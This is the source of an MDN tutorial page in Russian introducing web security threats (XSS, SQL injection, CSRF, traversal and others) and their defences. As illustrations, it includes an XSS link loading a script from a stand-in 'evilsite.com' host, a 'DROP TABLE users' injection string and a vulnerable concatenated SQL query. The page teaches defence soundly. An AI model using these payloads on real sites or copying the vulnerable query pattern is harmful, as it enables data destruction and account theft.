path: root/files/ru/learn/server-side/first_steps/website_security/index.html

---
title: Веб-безопасность
slug: Learn/Server-side/First_steps/Website_security
translation_of: Learn/Server-side/First_steps/Website_security
original_slug: Learn/Server-side/First_steps/Веб_Безопасность
---
<div>{{LearnSidebar}}</div>

<div>{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</div>

<p class="summary">Безопасность сайта требует бдительности во всех аспектах дизайна и использования сайта. Эта вводная статья не сделает из вас гуру безопасности веб-сайта, но она поможет вам понять, откуда приходят угрозы, и что вы можете сделать, чтобы укрепить свое веб-приложение против наиболее распространенных атак.</p>

<table class="learn-box standard-table">
 <tbody>
  <tr>
   <th scope="row">Условия:</th>
   <td>Элементарная компьютерная грамотность</td>
  </tr>
  <tr>
   <th scope="row">Цель:</th>
   <td>Понять самые распространенные угрозы безопасности веб-приложений. И что вы можете сделать, чтобы уменьшить риск взлома вашего сайта.</td>
  </tr>
 </tbody>
</table>

<h2 id="Что_такое_безопасность_сайта">Что такое безопасность сайта?</h2>

<p>Интернет опасное место! Мы регулярно слышим о том, что веб-сайты становятся недоступными из-за атак типа отказано в обслуживании, или отображение измененной (и часто поврежденной) информации на их страницах. В других случаях миллионы паролей, адресов электронной почты и данные кредитных карт становились общедоступными, подвергая пользователей веб-сайта личному смущению или к финансовым рискам.</p>

<p>Цель веб-безопасности заключается в предотвращении этих (или других) видов атак. Более формальным определением веб-безопасности является: <em>способы защиты веб-сайтов от несанкционированного доступа, использования, изменения, уничтожения или нарушения работы.</em></p>

<p>Для эффективной безопасности веб-сайта необходимо уделять особое внимание к разработке всего веб-сайта: к вашему веб-приложению, конфигурации веб-сервера, при написании политик создания и обновления паролей, а так же кода на стороне клиента. Хотя все это звучит очень зловеще, хорошая новость заключается в том, что если вы используете веб-фреймворк для серверной части, то он почти наверняка обеспечит «по умолчанию» надежные и продуманные механизмы защиты от ряда наиболее распространенных атак. Другие атаки можно смягчить с помощью конфигурации вашего веб-сервера, например, включив HTTPS. Наконец, есть общедоступные инструменты для сканирования уязвимостей, которые могут помочь вам определить, если вы допустили какие-либо очевидные ошибки.</p>

<p>В оставшейся части этой статьи мы рассмотрим более подробную информацию о некоторых самых распространенных угрозах и о простых шагах, которые вы можете предпринять, чтобы защитить свой сайт.</p>

<div class="note">
<p><strong>Примечание: </strong>Это вводная статья, призванная помочь вам задуматься о безопасности веб-сайта, но она не является исчерпывающей.</p>
</div>

<h2 id="Угрозы_безопасности_сайта">Угрозы безопасности сайта</h2>

<p>В этом разделе перечислены лишь некоторые из наиболее распространенных угроз веб-сайта и способы их устранения. Читая, обратите внимание на то, насколько успешны угрозы, когда веб-приложение доверяет, либо <em>недостаточно параноидально</em> относится к данным, поступающим из браузера.</p>

<h3 id="Межсайтовый_скриптинг_XSS">Межсайтовый скриптинг (XSS)</h3>

<p>XSS (<em>Cross-Site Scripting</em> - Межсайтовый скриптинг) это термин, используемый для описания типа атак, которые позволяют злоумышленнику внедрять вредоносный код <em>через</em> веб-сайт в браузеры других пользователей. Поскольку внедренный код поступает в браузер с сайта, он является <em>доверенным</em> и может выполнять такие действия, как отправка авторизационного файла <em>cookie</em>пользователя злоумышленнику. Когда у злоумышленника есть файл <em>cookie</em>, он может войти на сайт, как если бы он был пользователем, и сделать все, что может пользователь, например, получить доступ к данным кредитной карты, просмотреть контактные данные или изменить пароли.</p>

<div class="note">
<p><strong>Примечание</strong>: Уязвимости XSS исторически встречались чаще, чем любые другие виды угроз безопасности.</p>
</div>

<p>Уязвимости XSS делятся на <em>отраженные</em> и <em>хранимые</em>, в зависимости от того, как сайт возвращает внедренный код в браузер.</p>

<ul>
 <li><em>Отраженная </em>XSS-уязвимость возникает, когда пользовательский контент, который передается на сервер, <em>немедленно</em> и <em>без изменений</em> возвращается для отображения в браузере. Любой скрипт в исходном пользовательском контенте запустится при загрузке новой страницы. Например, рассмотрим строку поиска по сайту, в которой поисковые слова закодированы как параметры URL, и эти слова отображаются вместе с результатами. Злоумышленник может создать поисковую ссылку, которая будет содержать вредоносный скрипт в качестве параметра (например: <code>http://mysite.com?q=beer&lt;script%20src="http://evilsite.com/tricky.js"&gt;&lt;/script&gt;</code>) и переслать его другому пользователю по электронной почте. Если целевой пользователь кликнет по этой «интересной ссылке», то скрипт выполнится при отображении результатов поиска. Как мы уже говорили, злоумышленник  таким образом получает всю информацию, необходимую ему для входа на сайт в качестве целевого пользователя, потенциального совершения покупок от имени пользователя или получения его контактной информации.</li>
 <li>
  <p><span class="tlid-translation translation" lang="ru">Постоянная уязвимость XSS возникает, когда вредоносный скрипт хранится на веб-сайте, а затем снова отображается без изменений, чтобы другие пользователи могли выполнять его невольно.<br>
   Например, доска обсуждений, которая принимает комментарии, содержащие неизмененный HTML, может хранить вредоносный скрипт от злоумышленника. Когда комментарии отображаются, скрипт выполняется и может отправить злоумышленнику информацию, необходимую для доступа к учетной записи пользователя. Атака такого рода чрезвычайно популярна и мощна, потому что злоумышленник может даже не иметь прямого отношения к жертвам.<br>
   <br>
   Хотя данные из запросов POST или GET являются наиболее распространенным источником уязвимостей XSS, любые данные из браузера потенциально уязвимы, такие как данные cookie, отображаемые браузером, или пользовательские файлы, которые загружаются и отображаются.<br>
   <br>
   Наилучшей защитой от уязвимостей XSS является удаление или отключение любой разметки, которая потенциально может содержать инструкции по запуску кода. Для HTML это включает такие элементы, как &lt;script&gt;, &lt;object&gt;, &lt;embed&gt; и &lt;link&gt;.<br>
   <br>
   Процесс изменения пользовательских данных, чтобы их нельзя было использовать для запуска сценариев или иным образом влиять на выполнение серверного кода, называется очисткой ввода. Многие веб-фреймворки автоматически очищают пользовательский ввод от HTML-форм по умолчанию.</span></p>
 </li>
</ul>

<h3 id="SQL_injection">SQL injection</h3>

<p><span class="tlid-translation translation" lang="ru"><span title="">Уязвимости SQL-инъекций позволяют злоумышленникам выполнять произвольный код SQL в базе данных, позволяя получать, изменять или удалять данные независимо от разрешений пользователя.</span> <span title="">Успешная инъекционная атака может подделать удостоверения, создать новые удостоверения с правами администратора, получить доступ ко всем данным на сервере или уничтожить / изменить данные, чтобы сделать их непригодными для использования.</span><br>
 <br>
 <span title="">Типы внедрения SQL включают внедрение SQL на основе ошибок, внедрение SQL на основе логических ошибок и внедрение SQL на основе времени.</span><br>
 <br>
 <span title="">Эта уязвимость присутствует, если пользовательский ввод, который передается в базовый оператор SQL, может изменить смысл оператора.</span> <span title="">Например, следующий код предназначен для перечисления всех пользователей с определенным именем (userName), которое было предоставлено из формы HTML:</span></span></p>

<pre class="brush: sql notranslate">statement = "SELECT * FROM users WHERE name = '" + <strong>userName</strong> + "';"</pre>

<p><span class="tlid-translation translation" lang="ru"><span title="">Если пользователь указывает реальное имя, оператор будет работать так, как задумано.</span> <span title="">Однако злонамеренный пользователь может полностью изменить поведение этого оператора SQL на новый оператор в следующем примере, просто указав текст полужирным шрифтом для userName.</span></span></p>

<pre class="brush: sql notranslate">SELECT * FROM users WHERE name = '<strong>a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't</strong>';
</pre>

<p><span class="tlid-translation translation" lang="ru"><span title="">Модифицированный оператор создает действительный оператор SQL, который удаляет таблицу пользователей и выбирает все данные из таблицы userinfo (которая раскрывает информацию о каждом пользователе).</span> <span title="">Это работает, потому что первая часть введенного текста (a ';) завершает исходное утверждение.</span><br>
 <br>
 <span title="">Чтобы избежать такого рода атак, вы должны убедиться, что любые пользовательские данные, которые передаются в запрос SQL, не могут изменить природу запроса.</span> <span title="">Один из способов сделать это - экранировать все символы пользовательского ввода, которые имеют особое значение в SQL.</span></span></p>

<div class="note">
<p><span class="tlid-translation translation" lang="ru"><span title="">Примечание. Инструкция SQL обрабатывает символ ' как начало и конец строкового литерала.</span> <span title="">Поместив обратную косую черту перед этим символом (\ '), мы экранируем символ и говорим SQL вместо этого трактовать его как символ (только часть строки).</span></span></p>
</div>

<p>В следующей инструкции мы экранируем символ '. Теперь SQL будет интерпретировать имя как всю строку, выделенную жирным шрифтом (это действительно очень странное имя, но безопасное).</p>

<pre class="brush: sql notranslate">SELECT * FROM users WHERE name = '<strong>a\';DROP TABLE users; SELECT * FROM userinfo WHERE \'t\' = \'t'</strong>;

</pre>

<p>Веб-фреймворки будут часто заботиться о зарезервированных символах для вас. Django, например, гарантирует, что любые пользовательские данные, передаваемые в наборы запросов (модельные запросы), будут экранируются.</p>

<div class="note">
<p><strong>Примечание: </strong>этот раздел в значительной степени основан на информации из <a href="https://en.wikipedia.org/wiki/SQL_injection">Wikipedia</a>.</p>
</div>

<h3 id="Подделка_межсайтовых_запросов_CSRF">Подделка межсайтовых запросов (CSRF)</h3>

<p>CSRF-атаки позволяют злоумышленнику выполнять действия, используя учетные данные другого пользователя, без его ведома или согласия.</p>

<p>Этот тип атаки лучше всего пояснить на примере. Джон - злоумышленник, который знает, что определенный сайт позволяет пользователям, вошедшим в систему, отправлять деньги на указанную учетную запись, используя HTTP-запрос <code>POST</code>, который включает имя учетной записи и сумму денег. Джон создает форму, которая включает в себя его банковские реквизиты и сумму денег в виде скрытых полей, и отправляет ее по электронной почте другим пользователям сайта (с кнопкой «Отправить», замаскированной под ссылку на сайт «быстрого обогащения»).</p>

<p>Если пользователь нажимает кнопку отправки, на сервер будет отправлен HTTP-запрос <code>POST</code>, содержащий сведения о транзакции и любые файлы cookie на стороне клиента, которые браузер связал с сайтом (добавление связанных файлов cookie сайта в запросы является нормальным поведением браузера). Сервер проверит файлы cookie и использует их, чтобы определить, вошел ли пользователь в систему и имеет ли разрешение на совершение транзакции.</p>

<p>В результате любой пользователь, который нажимает кнопку <em>Отправить</em> во время входа на торговый сайт, совершает транзакцию. Джон становится богатым.</p>

<div class="note">
<p><strong>Примечание: </strong>Уловка здесь в том, что Джону не нужен доступ к файлам cookie пользователя (или учетным данным). Браузер пользователя сохраняет эту информацию и автоматически включает ее во все запросы к соответствующему серверу.</p>
</div>

<p>Один из способов предотвратить этот тип атаки - запросить сервером запросы <code>POST</code>, содержащие секрет, созданный пользователем для конкретного сайта. Секрет будет предоставлен сервером при отправке веб-формы, используемой для переводов. Такой подход не позволяет Джону создать свою собственную форму, потому что он должен знать секрет, который сервер предоставляет пользователю. Даже если он узнает секрет и создаст форму для конкретного пользователя, он больше не сможет использовать ту же форму для атаки на каждого пользователя.</p>

<p>Веб-фреймворки часто включают такие механизмы предотвращения CSRF.</p>

<h3 id="Прочие_угрозы">Прочие угрозы</h3>

<p>Другие распространенные атаки / уязвимости включают:</p>

<ul>
 <li><a href="https://www.owasp.org/index.php/Clickjacking">Clickjacking</a>. В этой атаке злоумышленник перехватывает клики, предназначенные для видимого сайта верхнего уровня, и направляет их на скрытую ниже страницу. Этот метод можно использовать, например, для отображения законного сайта банка, но захвата учетных данных для входа в невидимый {{htmlelement("iframe")}} , контролируемый злоумышленником. Clickjacking также можно использовать для того, чтобы заставить пользователя нажать кнопку на видимом сайте, но при этом на самом деле невольно нажимать совершенно другую кнопку. В качестве защиты ваш сайт может предотвратить встраивание себя в iframe на другом сайте, установив соответствующие заголовки HTTP.</li>
 <li><a href="/en-US/docs/Glossary/Distributed_Denial_of_Service">Denial of Service</a> (DoS). DoS обычно достигается за счет наводнения целевого сайта поддельными запросами, так что доступ к сайту нарушается для законных пользователей. Запросы могут быть просто многочисленными или по отдельности потреблять большие объемы ресурсов (например, медленное чтение или загрузка больших файлов). Защита от DoS обычно работает, выявляя и блокируя «плохой» трафик, пропуская при этом легитимные сообщения. Эти средства защиты обычно расположены перед веб-сервером или на нем (они не являются частью самого веб-приложения).</li>
 <li><a href="https://en.wikipedia.org/wiki/Directory_traversal_attack">Directory Traversal</a> (Файл и раскрытие). В этой атаке злоумышленник пытается получить доступ к частям файловой системы веб-сервера, к которым у него не должно быть доступа. Эта уязвимость возникает, когда пользователь может передавать имена файлов, содержащие символы навигации файловой системы (например, <code>../../</code>). Решение состоит в том, чтобы очищать ввод перед его использованием.</li>
 <li><a href="https://en.wikipedia.org/wiki/File_inclusion_vulnerability">File Inclusion</a>. В этой атаке пользователь может "случайно" указать файл для отображения или выполнения в данных, передаваемых на сервер. После загрузки этот файл может выполняться на веб-сервере или на стороне клиента (что приводит к XSS-атаке). Решение состоит в том, чтобы дезинфицировать ввод перед его использованием.</li>
 <li><a href="https://www.owasp.org/index.php/Command_Injection">Внедрение команд</a>. Атаки с внедрением команд позволяют злоумышленнику выполнять произвольные системные команды в операционной системе хоста. Решение состоит в том, чтобы дезинфицировать вводимые пользователем данные до того, как их можно будет использовать в системных вызовах.</li>
</ul>

<p>Полный список угроз безопасности веб-сайтов см. <a href="https://en.wikipedia.org/wiki/Category:Web_security_exploits">Category: Web security exploits</a> (Wikipedia) и <a href="https://www.owasp.org/index.php/Category:Attack">Category: Attack</a> (Open Web Application Security Project).</p>

<h2 id="Несколько_ключевых_сообщений">Несколько ключевых сообщений</h2>

<p>Почти все эксплойты безопасности, описанные в предыдущих разделах, успешны, когда веб-приложение доверяет данным из браузера. Что бы вы ни делали для повышения безопасности своего веб-сайта, вы должны дезинфицировать все данные, исходящие от пользователей, прежде чем они будут отображаться в браузере, использоваться в запросах SQL или передаваться в вызов операционной системы или файловой системы.</p>

<div class="warning">
<p>Внимание! Самый важный урок, который вы можете извлечь о безопасности веб-сайтов: <strong>никогда не доверяйте данным из браузера</strong>. Это включает, помимо прочего, данные в параметрах URL-адресов запросов <code>GET</code>, запросов <code>POST</code>, заголовков HTTP и файлов cookie, а также файлов, загруженных пользователем. Всегда проверяйте и дезинфицируйте все входящие данные. Всегда предполагайте худшее!</p>
</div>

<p>Вы можете предпринять ряд других конкретных шагов:</p>

<ul>
 <li>Используйте более эффективное управление паролями. Поощряйте регулярную смену надежных паролей. Рассмотрите возможность двухфакторной аутентификации для вашего сайта, чтобы в дополнение к паролю пользователь должен был ввести другой код аутентификации (обычно тот, который доставляется через какое-то физическое оборудование, которое будет иметь только пользователь, например, код в SMS, отправленном на его телефон).</li>
 <li>Настройте свой веб-сервер для использования <a href="/en-US/docs/Glossary/https">HTTPS</a> и <a href="/en-US/docs/Web/Security/HTTP_strict_transport_security">HTTP Strict Transport Security</a> (HSTS). HTTPS шифрует данные, передаваемые между вашим клиентом и сервером. Это гарантирует, что учетные данные для входа, файлы cookie, данные запросов <code>POST</code> и информация заголовка не будут легко доступны для злоумышленников.</li>
 <li>Следите за наиболее популярными угрозами (<a href="https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project">текущий список OWASP находится здесь</a>) и в первую очередь устраняйте наиболее распространенные уязвимости.</li>
 <li>Используйте <a href="https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools">инструменты сканирования уязвимостей</a>, чтобы выполнить автоматическое тестирование безопасности на вашем сайте. Позже ваш очень успешный веб-сайт может также обнаруживать ошибки, предлагая вознаграждение за обнаружение ошибок, как это <a href="https://www.mozilla.org/en-US/security/bug-bounty/faq-webapp/">делает здесь</a> Mozilla.</li>
 <li>Храните и отображайте только те данные, которые вам нужны. Например, если ваши пользователи должны хранить конфиденциальную информацию, такую как данные кредитной карты, отображайте часть номера карты только для того, чтобы он мог быть идентифицирован пользователем, и недостаточно, чтобы его мог скопировать злоумышленник и использовать на другом сайте. Самый распространенный шаблон в настоящее время - отображение только последних 4 цифр номера кредитной карты.</li>
</ul>

<p>Веб-фреймворки могут помочь смягчить многие из наиболее распространенных уязвимостей.</p>

<h2 id="Резюме">Резюме</h2>

<p>В этой статье объясняется концепция веб-безопасности и некоторые из наиболее распространенных угроз, от которых ваш веб-сайт должен пытаться защититься. Самое главное, вы должны понимать, что веб-приложение не может доверять никаким данным из веб-браузера. Все пользовательские данные должны быть очищены перед отображением или использованием в SQL-запросах и вызовах файловой системы.</p>

<p>Этой статьей вы подошли к концу <a href="/en-US/docs/Learn/Server-side/First_steps">этого модуля</a>, охватывающего ваши первые шаги в программировании на стороне сервера. Мы надеемся, что вам понравилось изучать эти фундаментальные концепции, и теперь вы готовы выбрать веб-платформу и начать программировать.</p>

<p>{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</p>

<h2 id="В_этом_модуле">В этом модуле</h2>

<ul>
 <li><a href="/en-US/docs/Learn/Server-side/First_steps/Introduction">Введение в серверную часть</a></li>
 <li><a href="/en-US/docs/Learn/Server-side/First_steps/Client-Server_overview">Обзор технологии клиент-сервер</a></li>
 <li><a href="/en-US/docs/Learn/Server-side/First_steps/Web_frameworks">Серверные веб-фреймворки</a></li>
 <li><a href="/en-US/docs/Learn/Server-side/First_steps/Website_security">Безопасность веб-сайта</a></li>
</ul>